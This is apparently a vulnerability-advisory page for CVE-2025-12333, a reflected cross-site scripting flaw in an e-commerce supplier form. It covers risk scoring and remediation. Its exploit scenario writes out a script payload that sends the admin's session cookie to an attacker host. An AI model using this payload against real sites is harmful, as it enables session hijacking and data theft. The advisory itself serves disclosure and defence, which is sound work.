code-projects E-Commerce Website CVE-2025-12333
LOWAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts XSS payload
-
DeliveryEmbeds payload in supplier_add.php URL
-
ExploitSends link to authenticated admin
-
InstallAdmin clicks link
-
C2Malicious script executes in browser
-
ExecuteAttacker steals session token
-
ImpactAttacker hijacks admin session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Successful exploitation requires three specific conditions: First, the /pages/supplier_add.php endpoint must be accessible to the attacker (either directly for reconnaissance or via social engineering). Second, the victim must be an authenticated user of the e-commerce application at the time they click the malicious link, ensuring the injected script executes within their authenticated session context. Third, the victim's browser must support JavaScript execution and not be protected by a browser-based XSS filter. No special server-side configuration is required; the vulnerability exists in the default deployment. Exploitation is limited by the reflected nature of the XSS (not stored), requiring the victim to actively visit the attacker-crafted URL, and by browser same-origin policy, which prevents the script from accessing data from other origins unless the application itself relaxes these restrictions via CORS headers. |
| Impact | This vulnerability presents low real-world risk despite public exploit availability. The CVSS 4.0 base score of 2.1 reflects the limitation imposed by required user interaction (UI:P) and limited integrity impact (VI:L), with no confidentiality or availability impact. The EPSS percentile of 11% (0.04% score) strongly indicates this is not a widespread exploitation target, consistent with the niche nature of the affected product. The attack vector is network-based (AV:N) with low complexity (AC:L), making the exploit technical trivial once a victim clicks a malicious link. However, the absence of an upstream vendor patch or security advisory, combined with the marginal nature of this e-commerce platform in the broader threat landscape, suggests defenders should prioritize patching only if this specific application is deployed in their environment. The public POC availability increases confidence in the technical feasibility of exploitation but does not imply active mass exploitation. |
| Exploit ScenarioDerived | An attacker crafts a phishing email or posts a malicious link on a website frequented by e-commerce administrators, directing victims to a URL such as http://target.local/pages/supplier_add.php?supp_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. When an authenticated admin clicks the link, the JavaScript payload executes in their browser, exfiltrating session cookies to the attacker's server. The attacker then hijacks the admin session to modify supplier records, inject malware, or exfiltrate customer data. A public proof-of-concept demonstrating this attack is available on Figshare. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in code-projects E-Commerce Website 1.0 allows remote attackers to inject malicious scripts via the supp_name and supp_address parameters in /pages/supplier_add.php. The vulnerability requires user interaction (clicking a crafted link) but enables session hijacking, credential theft, and malware distribution. Publicly available exploit code exists; however, the EPSS score of 0.04% (11th percentile) indicates exploitation remains uncommon despite disclosure, likely due to limited deployment of this niche e-commerce platform.
RemediationAI
No vendor-released patch has been identified at time of analysis. Immediate workarounds include: implementing input validation and output encoding for the supp_name and supp_address parameters using HTML entity encoding or context-aware escaping libraries (such as OWASP ESAPI or htmlspecialchars() in PHP with ENT_QUOTES flag); deploying a Web Application Firewall (WAF) rule to block requests containing JavaScript keywords or script tags in supplier-related parameters; restricting access to /pages/supplier_add.php to authenticated users only and enforcing CSRF tokens; and enabling Content Security Policy (CSP) headers to prevent inline script execution. If the affected application is mission-critical and cannot be removed, apply a custom patch to the supplier_add.php file sanitizing input before output. Consider upgrading to a maintained e-commerce platform if this product is no longer actively developed by the vendor.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based e-commerce application. The supplier management endpoint /pages/supplier_add.php fails to sanitize or encode user-supplied input in the supp_name and supp_address parameters before reflecting them in HTTP responses. Attackers craft malicious URLs containing JavaScript payloads that execute in the victim's browser within the application's security context, bypassing the same-origin policy when the victim is authenticated. The affected product is code-projects E-Commerce Website version 1.0, as identified by CPE cpe:2.3:a:fabian:e-commerce_website:1.0:*:*:*:*:*:*:*.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability has been found in code-projects E-Commerce Website 1.0. This impacts an unknown function of the file /pages/supplier_add.php. The manipulation of the argument supp_name/supp_address leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NVD
CVE.org
EPSS
VulDB
GitHub PoC
Exploit-DB